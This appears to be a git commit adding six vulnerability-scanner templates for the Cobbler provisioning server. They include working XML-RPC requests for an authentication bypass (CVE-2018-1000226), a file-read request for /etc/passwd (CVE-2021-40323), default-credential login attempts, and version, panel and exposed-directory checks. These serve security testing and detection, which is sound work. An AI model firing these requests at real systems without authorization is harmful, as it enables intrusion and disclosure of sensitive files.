Added Cobbler provisioning server Templates (#3698)

Co-Authored-By: csh <25989137+c-sh0@users.noreply.github.com>

Co-authored-by: csh <25989137+c-sh0@users.noreply.github.com>
patch-1
Sandeep Singh 2022-02-14 22:50:32 +05:30 committed by GitHub
parent 8a41b2089d
commit 99c131b1a6
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6 changed files with 320 additions and 0 deletions

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id: CVE-2018-1000226
info:
name: Cobbler versions 2.6.11+, (2.0.0+ or older versions) - Authentication Bypass
author: c-sh0
severity: critical
reference:
- https://github.com/cobbler/cobbler/issues/1916
- https://movermeyer.com/2018-08-02-privilege-escalation-exploits-in-cobblers-api/
- https://nvd.nist.gov/vuln/detail/CVE-2018-1000226
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.80
cve-id: CVE-2018-1000226
cwe-id: CWE-732
tags: cve,cve2018,cobbler,auth-bypass
requests:
- raw:
- |
POST {{BaseURL}}/cobbler_api HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml
<?xml version='1.0'?>
<methodCall>
<methodName>_CobblerXMLRPCInterface__make_token</methodName>
<params>
<param>
<value>
<string>cobbler</string>
</value>
</param>
</params>
</methodCall>
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: header
words:
- "Content-Type: text/xml"
- type: word
part: body
words:
- "<methodResponse>"
- type: dsl
dsl:
- "!contains(tolower(body), '<name>faultCode</name>')"
- type: regex
part: body
regex:
- "(.*[a-zA-Z0-9].+==)</string></value>"

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id: CVE-2021-40323
info:
name: Cobbler before 3.3.0 allows log poisoning, and resultant Remote Code Execution, via an XMLRPC method
severity: critical
author: c-sh0
reference:
- https://github.com/cobbler/cobbler/issues/2795
- https://tnpitsecurity.com/blog/cobbler-multiple-vulnerabilities/
- https://nvd.nist.gov/vuln/detail/CVE-2021-40323
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.80
cve-id: CVE-2021-40323
cwe-id: CWE-94
tags: cve,cve2021,cobbler,rce
requests:
- raw:
- |
POST {{BaseURL}}/cobbler_api HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml
<?xml version='1.0'?>
<methodCall>
<methodName>find_profile</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>name</name>
<value>
<string>*</string>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
- |
POST {{BaseURL}}/cobbler_api HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml
<?xml version='1.0'?>
<methodCall>
<methodName>generate_script</methodName>
<params>
<param>
<value>
<string>{{profile}}</string>
</value>
</param>
<param>
<value>
<string></string>
</value>
</param>
<param>
<value>
<string>/etc/passwd</string>
</value>
</param>
</params>
</methodCall>
extractors:
- type: regex
name: profile
internal: true
group: 1
regex:
- '<value><string>(.*?)</string></value>'
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: header
words:
- 'text/xml'
- type: regex
regex:
- "root:.*:0"
- "bin:.*:1"
- "nobody:.*:99"
condition: or

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id: cobbler-default-login
info:
name: Cobbler Default Login
author: c-sh0
reference:
- https://github.com/cobbler/cobbler/issues/2307
- https://github.com/cobbler/cobbler/issues/2909
severity: high
tags: cobbler,default-login,api
requests:
- raw:
- |
POST {{BaseURL}}/cobbler_api HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
<?xml version='1.0'?>
<methodCall>
<methodName>login</methodName>
<params>
<param>
<value>
<string>{{username}}</string>
</value>
</param>
<param>
<value>
<string>{{password}}</string>
</value>
</param>
</params>
</methodCall>
attack: pitchfork
payloads:
username:
- cobbler
- testing
password:
- cobbler
- testing
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: header
words:
- 'text/xml'
- type: dsl
dsl:
- "!contains(tolower(body), '<name>faultCode</name>')"
- "!contains(tolower(body), 'login failed')"
condition: or
- type: regex
part: body
regex:
- "(.*[a-zA-Z0-9].+==)</string></value>"

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id: cobbler-webgui
info:
name: Cobbler WebGUI Detection
author: c-sh0
description: Detection of Cobbler WebGUI
severity: info
metadata:
shodan-query: http.title:"Cobbler Web Interface"
tags: cobbler,webserver,panel
requests:
- method: GET
path:
- "{{BaseURL}}/cobbler_web"
redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- "<title>Cobbler Web Interface</title>"
- "/cobbler_webui_content/"
- "/cobbler_web/do_login"
condition: or

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id: cobbler-exposed-directory
info:
name: Exposed Cobbler Directories
author: c-sh0
severity: medium
description: Searches for exposed Cobbler Directories
tags: cobbler,exposure,misconfig
requests:
- method: GET
path:
- "{{BaseURL}}/cobbler/"
- "{{BaseURL}}/cblr/"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- "Index of /cobbler"
- "Index of /cblr"
condition: or

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id: cobbler-version
info:
name: Cobbler Version Detection
author: c-sh0
severity: info
description: Obtain cobbler version information
tags: tech,cobbler,api
requests:
- method: POST
path:
- "{{BaseURL}}/cobbler_api"
body: |
<?xml version='1.0'?>
<methodCall>
<methodName>extended_version</methodName>
<params></params>
</methodCall>
headers:
Content-Type: text/xml
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- '<name>version</name>'
extractors:
- type: regex
part: body
group: 1
regex:
- "<value><string>([0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3})</string></value>"